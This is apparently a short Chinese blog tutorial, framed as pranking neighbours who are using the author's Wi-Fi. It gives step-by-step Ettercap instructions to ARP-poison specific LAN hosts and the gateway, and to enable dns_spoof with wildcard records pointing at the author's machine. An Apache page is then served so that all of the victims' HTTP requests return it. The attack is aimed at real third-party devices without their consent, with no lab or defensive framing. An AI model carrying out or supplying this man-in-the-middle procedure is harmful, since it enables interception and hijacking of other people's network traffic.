Ettercap内网渗透
最近网速很卡,于是想到有人在蹭网,怎么捉弄一下呢?
1、开启ettercap
ettercap -G
2、 Hosts->Scan,List
发现有几个新的地址192.168.1.71,192.168.1.72,我的192.168.1.35
3、在HostList中,选择网关(192.168.1.1)右键,add to target2
192.168.1.71,192.168.1.72,右键,add to target1
4、Plugins->Manage->选择dns_spoof
5、编辑要欺骗的url指向本机ip
vim /etc/ettercap/etter.dns
在最后添加:
* A 192.168.1.35 * PRT 192.168.1.35
6、编辑你希望对方看到的html
vim /var/www/html/index.html
7、启动Apache2
service apache2 start
8、ARP欺骗
Mitm->ARP->Sniff
9、开始欺骗
Start->start
10、查看连接
View->Connections
此时对方如果通过http请求任何网站都会被返回我们编辑的html。